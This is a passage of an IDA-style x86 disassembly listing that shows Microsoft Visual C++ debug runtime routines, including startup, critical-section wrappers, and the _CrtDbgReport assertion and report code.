mov dword_4DDFD0, eax
call sub_427D30
call sub_427BE0
call sub_417AB0
mov [ebp+var_30], 0
lea ecx, [ebp+var_5C]
push ecx
call dword_4E0458 ; GetStartupInfoA
call sub_427B20
mov [ebp+var_64], eax
mov edx, [ebp+var_30]
and edx, 1
test edx, edx
jz short loc_41AC07
mov eax, [ebp+var_2C]
and eax, 0FFFFh
mov [ebp+var_6C], eax
jmp short loc_41AC0E
; ---------------------------------------------------------------------------
loc_41AC07: ; CODE XREF: sub_41AB00+F8j
mov [ebp+var_6C], 0Ah
loc_41AC0E: ; CODE XREF: sub_41AB00+105j
mov ecx, [ebp+var_6C]
push ecx
mov edx, [ebp+var_64]
push edx
push 0
push 0
call dword_4E0360 ; GetModuleHandleA
push eax
call sub_401404
mov [ebp+var_60], eax
mov eax, [ebp+var_60]
push eax
call sub_417AF0
mov ecx, [ebp+var_14]
mov edx, [ecx]
mov eax, [edx]
mov [ebp+var_68], eax
mov ecx, [ebp+var_14]
push ecx
mov edx, [ebp+var_68]
push edx
call sub_427900
add esp, 8
retn
sub_41AB00 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-68h]
push eax
call sub_417B10
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AC70 proc near ; CODE XREF: sub_419F80+2Cp
; sub_41ACD0+8Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp dword_4DDFD8, 1
jnz short loc_41AC81
call sub_428830
loc_41AC81: ; CODE XREF: sub_41AC70+Aj
mov eax, [ebp+arg_0]
push eax
call sub_428880
add esp, 4
push 0FFh
call off_444ED0
add esp, 4
pop ebp
retn
sub_41AC70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACA0 proc near ; CODE XREF: sub_41AB00+8Cp
; sub_41AB00+9Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp dword_4DDFD8, 1
jnz short loc_41ACB1
call sub_428830
loc_41ACB1: ; CODE XREF: sub_41ACA0+Aj
mov eax, [ebp+arg_0]
push eax
call sub_428880
add esp, 4
push 0FFh
call dword_4E0328 ; ExitProcess
pop ebp
retn
sub_41ACA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACD0 proc near ; DATA XREF: .data:00437020o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4DF680, 0
jnz short loc_41ACE9
mov dword_4DF680, 200h
jmp short loc_41ACFC
; ---------------------------------------------------------------------------
loc_41ACE9: ; CODE XREF: sub_41ACD0+Bj
cmp dword_4DF680, 14h
jge short loc_41ACFC
mov dword_4DF680, 14h
loc_41ACFC: ; CODE XREF: sub_41ACD0+17j
; sub_41ACD0+20j
push 83h
push offset dword_434D7C
push 2
push 4
mov eax, dword_4DF680
push eax
call sub_415520
add esp, 14h
mov dword_4DE674, eax
cmp dword_4DE674, 0
jnz short loc_41AD65
mov dword_4DF680, 14h
push 86h
push offset dword_434D7C
push 2
push 4
mov ecx, dword_4DF680
push ecx
call sub_415520
add esp, 14h
mov dword_4DE674, eax
cmp dword_4DE674, 0
jnz short loc_41AD65
push 1Ah
call sub_41AC70
add esp, 4
loc_41AD65: ; CODE XREF: sub_41ACD0+54j
; sub_41ACD0+89j
mov [ebp+var_4], 0
jmp short loc_41AD77
; ---------------------------------------------------------------------------
loc_41AD6E: ; CODE XREF: sub_41ACD0+C4j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41AD77: ; CODE XREF: sub_41ACD0+9Cj
cmp [ebp+var_4], 14h
jge short loc_41AD96
mov eax, [ebp+var_4]
shl eax, 5
add eax, offset off_444ED8
mov ecx, [ebp+var_4]
mov edx, dword_4DE674
mov [edx+ecx*4], eax
jmp short loc_41AD6E
; ---------------------------------------------------------------------------
loc_41AD96: ; CODE XREF: sub_41ACD0+ABj
mov [ebp+var_4], 0
jmp short loc_41ADA8
; ---------------------------------------------------------------------------
loc_41AD9F: ; CODE XREF: sub_41ACD0:loc_41ADF6j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41ADA8: ; CODE XREF: sub_41ACD0+CDj
cmp [ebp+var_4], 3
jge short loc_41ADF8
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jz short loc_41ADE6
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
cmp dword ptr [eax+edx], 0
jnz short loc_41ADF6
loc_41ADE6: ; CODE XREF: sub_41ACD0+F8j
mov ecx, [ebp+var_4]
shl ecx, 5
mov dword_444EE8[ecx], 0FFFFFFFFh
loc_41ADF6: ; CODE XREF: sub_41ACD0+114j
jmp short loc_41AD9F
; ---------------------------------------------------------------------------
loc_41ADF8: ; CODE XREF: sub_41ACD0+DCj
mov esp, ebp
pop ebp
retn
sub_41ACD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE00 proc near ; DATA XREF: .data:00437034o
push ebp
mov ebp, esp
call sub_41B9E0
movsx eax, byte_4DDFB8
test eax, eax
jz short loc_41AE18
call sub_428A90
loc_41AE18: ; CODE XREF: sub_41AE00+11j
pop ebp
retn
sub_41AE00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE20 proc near ; CODE XREF: sub_414F40+55p
; sub_4173D0+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_444ED8
jb short loc_41AE4E
cmp [ebp+arg_0], offset dword_445138
ja short loc_41AE4E
mov eax, [ebp+arg_0]
sub eax, offset off_444ED8
sar eax, 5
add eax, 1Ch
push eax
call sub_41BC80
add esp, 4
jmp short loc_41AE5B
; ---------------------------------------------------------------------------
loc_41AE4E: ; CODE XREF: sub_41AE20+Aj
; sub_41AE20+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call dword_4E03A8 ; RtlEnterCriticalSection
loc_41AE5B: ; CODE XREF: sub_41AE20+2Cj
pop ebp
retn
sub_41AE20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE60 proc near ; CODE XREF: sub_41B9F0+7Ep
; sub_420560+6Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_41AE7A
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_41BC80
add esp, 4
jmp short loc_41AE87
; ---------------------------------------------------------------------------
loc_41AE7A: ; CODE XREF: sub_41AE60+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call dword_4E03A8 ; RtlEnterCriticalSection
loc_41AE87: ; CODE XREF: sub_41AE60+18j
pop ebp
retn
sub_41AE60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE90 proc near ; CODE XREF: sub_414F40+70p
; sub_4173D0+2Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_444ED8
jb short loc_41AEBE
cmp [ebp+arg_0], offset dword_445138
ja short loc_41AEBE
mov eax, [ebp+arg_0]
sub eax, offset off_444ED8
sar eax, 5
add eax, 1Ch
push eax
call sub_41BD20
add esp, 4
jmp short loc_41AECB
; ---------------------------------------------------------------------------
loc_41AEBE: ; CODE XREF: sub_41AE90+Aj
; sub_41AE90+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call dword_4E03A4 ; RtlLeaveCriticalSection
loc_41AECB: ; CODE XREF: sub_41AE90+2Cj
pop ebp
retn
sub_41AE90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AED0 proc near ; CODE XREF: sub_41B9F0+116p
; sub_420560+A0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_41AEEA
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_41BD20
add esp, 4
jmp short loc_41AEF7
; ---------------------------------------------------------------------------
loc_41AEEA: ; CODE XREF: sub_41AED0+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call dword_4E03A4 ; RtlLeaveCriticalSection
loc_41AEF7: ; CODE XREF: sub_41AED0+18j
pop ebp
retn
sub_41AED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF00 proc near ; CODE XREF: sub_41B010+113p
; sub_41B3A0+33p
push ebp
mov ebp, esp
call dword_4E0464 ; DebugBreak
pop ebp
retn
sub_41AF00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_41AF20
cmp dword ptr [ebp+8], 3
jl short loc_41AF25
loc_41AF20: ; CODE XREF: .data:0041AF18j
or eax, 0FFFFFFFFh
jmp short loc_41AF63
; ---------------------------------------------------------------------------
loc_41AF25: ; CODE XREF: .data:0041AF1Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFFh
jnz short loc_41AF37
mov eax, [ebp+8]
mov eax, dword_44515C[eax*4]
jmp short loc_41AF63
; ---------------------------------------------------------------------------
loc_41AF37: ; CODE XREF: .data:0041AF29j
mov ecx, [ebp+0Ch]
and ecx, 0FFFFFFF8h
test ecx, ecx
jz short loc_41AF46
or eax, 0FFFFFFFFh
jmp short loc_41AF63
; ---------------------------------------------------------------------------
loc_41AF46: ; CODE XREF: .data:0041AF3Fj
mov edx, [ebp+8]
mov eax, dword_44515C[edx*4]
mov [ebp-4], eax
mov ecx, [ebp+8]
mov edx, [ebp+0Ch]
mov dword_44515C[ecx*4], edx
mov eax, [ebp-4]
loc_41AF63: ; CODE XREF: .data:0041AF23j
; .data:0041AF35j ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_41AF80
cmp dword ptr [ebp+8], 3
jl short loc_41AF87
loc_41AF80: ; CODE XREF: .data:0041AF78j
mov eax, 0FFFFFFFEh
jmp short loc_41AFEA
; ---------------------------------------------------------------------------
loc_41AF87: ; CODE XREF: .data:0041AF7Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFAh
jnz short loc_41AF99
mov eax, [ebp+8]
mov eax, dword_445168[eax*4]
jmp short loc_41AFEA
; ---------------------------------------------------------------------------
loc_41AF99: ; CODE XREF: .data:0041AF8Bj
mov ecx, [ebp+8]
mov edx, dword_445168[ecx*4]
mov [ebp-4], edx
cmp dword ptr [ebp+0Ch], 0FFFFFFFCh
jnz short loc_41AFC0
push 0FFFFFFF5h
call dword_4E0468 ; GetStdHandle
mov ecx, [ebp+8]
mov dword_445168[ecx*4], eax
jmp short loc_41AFE7
; ---------------------------------------------------------------------------
loc_41AFC0: ; CODE XREF: .data:0041AFAAj
cmp dword ptr [ebp+0Ch], 0FFFFFFFBh
jnz short loc_41AFDA
push 0FFFFFFF4h
call dword_4E0468 ; GetStdHandle
mov edx, [ebp+8]
mov dword_445168[edx*4], eax
jmp short loc_41AFE7
; ---------------------------------------------------------------------------
loc_41AFDA: ; CODE XREF: .data:0041AFC4j
mov eax, [ebp+8]
mov ecx, [ebp+0Ch]
mov dword_445168[eax*4], ecx
loc_41AFE7: ; CODE XREF: .data:0041AFBEj
; .data:0041AFD8j
mov eax, [ebp-4]
loc_41AFEA: ; CODE XREF: .data:0041AF85j
; .data:0041AF97j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DE670
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4DE670, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B010 proc near ; CODE XREF: sub_414F40+24p
; sub_414FD0+2Cp ...
var_302C = dword ptr -302Ch
var_3028 = dword ptr -3028h
var_3024 = byte ptr -3024h
var_3010 = byte ptr -3010h
var_300C = dword ptr -300Ch
var_3008 = byte ptr -3008h
var_3007 = byte ptr -3007h
var_2008 = byte ptr -2008h
var_2007 = byte ptr -2007h
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
push ebp
mov ebp, esp
mov eax, 302Ch
call sub_4181D0
push edi
mov [ebp+var_3008], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_3007]
rep stosd
stosw
stosb
mov [ebp+var_2008], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_2007]
rep stosd
stosw
stosb
mov [ebp+var_1000], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_FFF]
rep stosd
stosw
stosb
lea eax, [ebp+arg_14]
mov [ebp+var_1004], eax
cmp [ebp+arg_0], 0
jl short loc_41B07E
cmp [ebp+arg_0], 3
jl short loc_41B086
loc_41B07E: ; CODE XREF: sub_41B010+66j
or eax, 0FFFFFFFFh
jmp loc_41B39B
; ---------------------------------------------------------------------------
loc_41B086: ; CODE XREF: sub_41B010+6Cj
cmp [ebp+arg_0], 2
jnz loc_41B130
push offset dword_445158
call dword_4E0454 ; InterlockedIncrement
test eax, eax
jle loc_41B130
cmp dword_4DDFE0, 0
jnz short loc_41B0EE
push offset aUser32_dll_0 ; "user32.dll"
call dword_4E037C ; LoadLibraryA
mov [ebp+var_300C], eax
cmp [ebp+var_300C], 0
jz short loc_41B0E6
push offset aWsprintfa ; "wsprintfA"
mov ecx, [ebp+var_300C]
push ecx
call dword_4E0380 ; GetProcAddress
mov dword_4DDFE0, eax
cmp dword_4DDFE0, 0
jnz short loc_41B0EE
loc_41B0E6: ; CODE XREF: sub_41B010+B4j
or eax, 0FFFFFFFFh
jmp loc_41B39B
; ---------------------------------------------------------------------------
loc_41B0EE: ; CODE XREF: sub_41B010+9Aj
; sub_41B010+D4j
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"...
lea ecx, [ebp+var_2008]
push ecx
call dword_4DDFE0 ; wsprintfA
add esp, 10h
lea edx, [ebp+var_2008]
push edx
call dword_4E046C ; OutputDebugStringA
push offset dword_445158
call dword_4E0450 ; InterlockedDecrement
call sub_41AF00
or eax, 0FFFFFFFFh
jmp loc_41B39B
; ---------------------------------------------------------------------------
loc_41B130: ; CODE XREF: sub_41B010+7Aj
; sub_41B010+8Dj
cmp [ebp+arg_10], 0
jz short loc_41B16D
mov eax, [ebp+var_1004]
push eax
mov ecx, [ebp+arg_10]
push ecx
push 0FEDh
lea edx, [ebp+var_1000]
push edx
call sub_418C10
add esp, 10h
test eax, eax
jge short loc_41B16D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea eax, [ebp+var_1000]
push eax
call sub_418870
add esp, 8
loc_41B16D: ; CODE XREF: sub_41B010+124j
; sub_41B010+147j
cmp [ebp+arg_0], 2
jnz short loc_41B1A5
cmp [ebp+arg_10], 0
jz short loc_41B185
mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: "
jmp short loc_41B18F
; ---------------------------------------------------------------------------
loc_41B185: ; CODE XREF: sub_41B010+167j
mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!"
loc_41B18F: ; CODE XREF: sub_41B010+173j
mov ecx, [ebp+var_3028]
push ecx
lea edx, [ebp+var_3008]
push edx
call sub_418870
add esp, 8
loc_41B1A5: ; CODE XREF: sub_41B010+161j
lea eax, [ebp+var_1000]
push eax
lea ecx, [ebp+var_3008]
push ecx
call sub_418880
add esp, 8
cmp [ebp+arg_0], 2
jnz short loc_41B1FA
mov edx, [ebp+arg_0]
mov eax, dword_44515C[edx*4]
and eax, 1
test eax, eax
jz short loc_41B1E6
push offset asc_434DB8 ; "\r"
lea ecx, [ebp+var_3008]
push ecx
call sub_418880
add esp, 8
loc_41B1E6: ; CODE XREF: sub_41B010+1C0j
push offset asc_434DB4 ; "\n"
lea edx, [ebp+var_3008]
push edx
call sub_418880
add esp, 8
loc_41B1FA: ; CODE XREF: sub_41B010+1AFj
cmp [ebp+arg_4], 0
jz short loc_41B242
lea eax, [ebp+var_3008]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push offset aSDS ; "%s(%d) : %s"
push 1000h
lea eax, [ebp+var_2008]
push eax
call sub_417E80
add esp, 18h
test eax, eax
jge short loc_41B240
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_2008]
push ecx
call sub_418870
add esp, 8
loc_41B240: ; CODE XREF: sub_41B010+21Aj
jmp short loc_41B258
; ---------------------------------------------------------------------------
loc_41B242: ; CODE XREF: sub_41B010+1EEj
lea edx, [ebp+var_3008]
push edx
lea eax, [ebp+var_2008]
push eax
call sub_418870
add esp, 8
loc_41B258: ; CODE XREF: sub_41B010:loc_41B240j
cmp dword_4DE670, 0
jz short loc_41B29C
lea ecx, [ebp+var_1008]
push ecx
lea edx, [ebp+var_2008]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4DE670
add esp, 0Ch
test eax, eax
jz short loc_41B29C
cmp [ebp+arg_0], 2
jnz short loc_41B291
push offset dword_445158
call dword_4E0450 ; InterlockedDecrement
loc_41B291: ; CODE XREF: sub_41B010+274j
mov eax, [ebp+var_1008]
jmp loc_41B39B
; ---------------------------------------------------------------------------
loc_41B29C: ; CODE XREF: sub_41B010+24Fj
; sub_41B010+26Ej
mov ecx, [ebp+arg_0]
mov edx, dword_44515C[ecx*4]
and edx, 1
test edx, edx
jz short loc_41B2EB
mov eax, [ebp+arg_0]
cmp dword_445168[eax*4], 0FFFFFFFFh
jz short loc_41B2EB
push 0
lea ecx, [ebp+var_3010]
push ecx
lea edx, [ebp+var_2008]
push edx
call sub_414EC0
add esp, 4
push eax
lea eax, [ebp+var_2008]
push eax
mov ecx, [ebp+arg_0]
mov edx, dword_445168[ecx*4]
push edx
call dword_4E03B4 ; WriteFile
loc_41B2EB: ; CODE XREF: sub_41B010+29Bj
; sub_41B010+2A8j
mov eax, [ebp+arg_0]
mov ecx, dword_44515C[eax*4]
and ecx, 2
test ecx, ecx
jz short loc_41B309
lea edx, [ebp+var_2008]
push edx
call dword_4E046C ; OutputDebugStringA
loc_41B309: ; CODE XREF: sub_41B010+2EAj
mov eax, [ebp+arg_0]
mov ecx, dword_44515C[eax*4]
and ecx, 4
test ecx, ecx
jz short loc_41B388
cmp [ebp+arg_8], 0
jz short loc_41B33D
push 0Ah
lea edx, [ebp+var_3024]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_428B70
add esp, 0Ch
mov [ebp+var_302C], eax
jmp short loc_41B347
; ---------------------------------------------------------------------------
loc_41B33D: ; CODE XREF: sub_41B010+30Ej
mov [ebp+var_302C], 0
loc_41B347: ; CODE XREF: sub_41B010+32Bj
lea ecx, [ebp+var_1000]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_302C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41B3A0
add esp, 14h
mov [ebp+var_1008], eax
cmp [ebp+arg_0], 2
jnz short loc_41B380
push offset dword_445158
call dword_4E0450 ; InterlockedDecrement
loc_41B380: ; CODE XREF: sub_41B010+363j
mov eax, [ebp+var_1008]
jmp short loc_41B39B
; ---------------------------------------------------------------------------
loc_41B388: ; CODE XREF: sub_41B010+308j
cmp [ebp+arg_0], 2
jnz short loc_41B399
push offset dword_445158
call dword_4E0450 ; InterlockedDecrement
loc_41B399: ; CODE XREF: sub_41B010+37Cj
xor eax, eax
loc_41B39B: ; CODE XREF: sub_41B010+71j
; sub_41B010+D9j ...
pop edi
mov esp, ebp
pop ebp
retn
sub_41B010 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B3A0 proc near ; CODE XREF: sub_41B010+351p
var_1138 = dword ptr -1138h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1114 = dword ptr -1114h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1138h
call sub_4181D0
loc_41B3AD: ; CODE XREF: sub_41B3A0+3Cj
cmp [ebp+arg_10], 0
jnz short loc_41B3D8
push offset aSzusermessageN ; "szUserMessage != NULL"
push 0
push 1DAh
push offset aDbgrpt_c ; "dbgrpt.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41B3D8
call sub_41AF00
loc_41B3D8: ; CODE XREF: sub_41B3A0+11j
; sub_41B3A0+31j
xor eax, eax
test eax, eax
jnz short loc_41B3AD
push 104h
lea ecx, [ebp+var_108]
push ecx
push 0
call dword_4E0334 ; GetModuleFileNameA
test eax, eax
jnz short loc_41B40A
push offset aProgramNameUnk ; "<program name unknown>"
lea edx, [ebp+var_108]
push edx
call sub_418870
add esp, 8
loc_41B40A: ; CODE XREF: sub_41B3A0+54j
lea eax, [ebp+var_108]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_414EC0
add esp, 4
cmp eax, 40h
jbe short loc_41B44D
mov edx, [ebp+var_4]
push edx
call sub_414EC0
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax-40h]
mov [ebp+var_4], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_4]
push eax
call sub_417760
add esp, 0Ch
loc_41B44D: ; CODE XREF: sub_41B3A0+82j
mov ecx, [ebp+arg_C]
mov [ebp+var_1110], ecx
cmp [ebp+var_1110], 0
jz short loc_41B4A8
mov edx, [ebp+var_1110]
push edx
call sub_414EC0
add esp, 4
cmp eax, 40h
jbe short loc_41B4A8
mov eax, [ebp+var_1110]
push eax
call sub_414EC0
add esp, 4
mov ecx, [ebp+var_1110]
lea edx, [ecx+eax-40h]
mov [ebp+var_1110], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_1110]
push eax
call sub_417760
add esp, 0Ch
loc_41B4A8: ; CODE XREF: sub_41B3A0+BDj
; sub_41B3A0+D1j
cmp [ebp+arg_0], 2
jnz short loc_41B4BA
mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"...
jmp short loc_41B4C4
; ---------------------------------------------------------------------------
loc_41B4BA: ; CODE XREF: sub_41B3A0+10Cj
mov [ebp+var_1114], offset dword_434F04
loc_41B4C4: ; CODE XREF: sub_41B3A0+118j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41B4D9
mov eax, [ebp+arg_10]
mov [ebp+var_1118], eax
jmp short loc_41B4E3
; ---------------------------------------------------------------------------
loc_41B4D9: ; CODE XREF: sub_41B3A0+12Cj
mov [ebp+var_1118], offset dword_434F04
loc_41B4E3: ; CODE XREF: sub_41B3A0+137j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41B4FF
cmp [ebp+arg_0], 2
jnz short loc_41B4FF
mov [ebp+var_111C], offset aExpression ; "Expression: "
jmp short loc_41B509
; ---------------------------------------------------------------------------
loc_41B4FF: ; CODE XREF: sub_41B3A0+14Bj
; sub_41B3A0+151j
mov [ebp+var_111C], offset dword_434F04
loc_41B509: ; CODE XREF: sub_41B3A0+15Dj
mov eax, [ebp+arg_10]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_41B51F
mov [ebp+var_1120], offset asc_434EF0 ; "\n\n"
jmp short loc_41B529
; ---------------------------------------------------------------------------
loc_41B51F: ; CODE XREF: sub_41B3A0+171j
mov [ebp+var_1120], offset dword_434F04
loc_41B529: ; CODE XREF: sub_41B3A0+17Dj
cmp [ebp+arg_8], 0
jz short loc_41B53A
mov edx, [ebp+arg_8]
mov [ebp+var_1124], edx
jmp short loc_41B544
; ---------------------------------------------------------------------------
loc_41B53A: ; CODE XREF: sub_41B3A0+18Dj
mov [ebp+var_1124], offset dword_434F04
loc_41B544: ; CODE XREF: sub_41B3A0+198j
cmp [ebp+arg_8], 0
jz short loc_41B556
mov [ebp+var_1128], offset aLine ; "\nLine: "
jmp short loc_41B560
; ---------------------------------------------------------------------------
loc_41B556: ; CODE XREF: sub_41B3A0+1A8j
mov [ebp+var_1128], offset dword_434F04
loc_41B560: ; CODE XREF: sub_41B3A0+1B4j
cmp [ebp+arg_4], 0
jz short loc_41B571
mov eax, [ebp+arg_4]
mov [ebp+var_112C], eax
jmp short loc_41B57B
; ---------------------------------------------------------------------------
loc_41B571: ; CODE XREF: sub_41B3A0+1C4j
mov [ebp+var_112C], offset dword_434F04
loc_41B57B: ; CODE XREF: sub_41B3A0+1CFj
cmp [ebp+arg_4], 0
jz short loc_41B58D
mov [ebp+var_1130], offset aFile ; "\nFile: "
jmp short loc_41B597
; ---------------------------------------------------------------------------
loc_41B58D: ; CODE XREF: sub_41B3A0+1DFj
mov [ebp+var_1130], offset dword_434F04
loc_41B597: ; CODE XREF: sub_41B3A0+1EBj
cmp [ebp+var_1110], 0
jz short loc_41B5AE
mov ecx, [ebp+var_1110]
mov [ebp+var_1134], ecx
jmp short loc_41B5B8
; ---------------------------------------------------------------------------
loc_41B5AE: ; CODE XREF: sub_41B3A0+1FEj
mov [ebp+var_1134], offset dword_434F04
loc_41B5B8: ; CODE XREF: sub_41B3A0+20Cj
cmp [ebp+var_1110], 0
jz short loc_41B5CD
mov [ebp+var_1138], offset aModule ; "\nModule: "
jmp short loc_41B5D7
; ---------------------------------------------------------------------------
loc_41B5CD: ; CODE XREF: sub_41B3A0+21Fj
mov [ebp+var_1138], offset dword_434F04
loc_41B5D7: ; CODE XREF: sub_41B3A0+22Bj
mov edx, [ebp+var_1114]
push edx
mov eax, [ebp+var_1118]
push eax
mov ecx, [ebp+var_111C]
push ecx
mov edx, [ebp+var_1120]
push edx
mov eax, [ebp+var_1124]
push eax
mov ecx, [ebp+var_1128]
push ecx
mov edx, [ebp+var_112C]
push edx
mov eax, [ebp+var_1130]
push eax
mov ecx, [ebp+var_1134]
push ecx
mov edx, [ebp+var_1138]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, off_445174[ecx*4]
push edx
push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
push 1000h
lea eax, [ebp+var_110C]
push eax
call sub_417E80
add esp, 3Ch
test eax, eax
jge short loc_41B65D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_110C]
push ecx
call sub_418870
add esp, 8
loc_41B65D: ; CODE XREF: sub_41B3A0+2A7j
push 12012h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
lea edx, [ebp+var_110C]
push edx
call sub_4293F0
add esp, 0Ch
mov [ebp+var_10C], eax
cmp [ebp+var_10C], 3
jnz short loc_41B696
push 16h
call sub_429130
add esp, 4
push 3
call sub_417B10
loc_41B696: ; CODE XREF: sub_41B3A0+2E3j
cmp [ebp+var_10C], 4
jnz short loc_41B6A6
mov eax, 1
jmp short loc_41B6A8
; ---------------------------------------------------------------------------
loc_41B6A6: ; CODE XREF: sub_41B3A0+2FDj
xor eax, eax
loc_41B6A8: ; CODE XREF: sub_41B3A0+304j
mov esp, ebp
pop ebp
retn
sub_41B3A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B6B0 proc near ; CODE XREF: sub_414FD0+71p
; sub_429E30+400p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DE420
jnb short loc_41B6E1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_41B6FC
loc_41B6E1: ; CODE XREF: sub_41B6B0+Dj
call sub_4224D0
mov dword ptr [eax], 9
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_41B726
; ---------------------------------------------------------------------------
loc_41B6FC: ; CODE XREF: sub_41B6B0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4299C0
add esp, 4
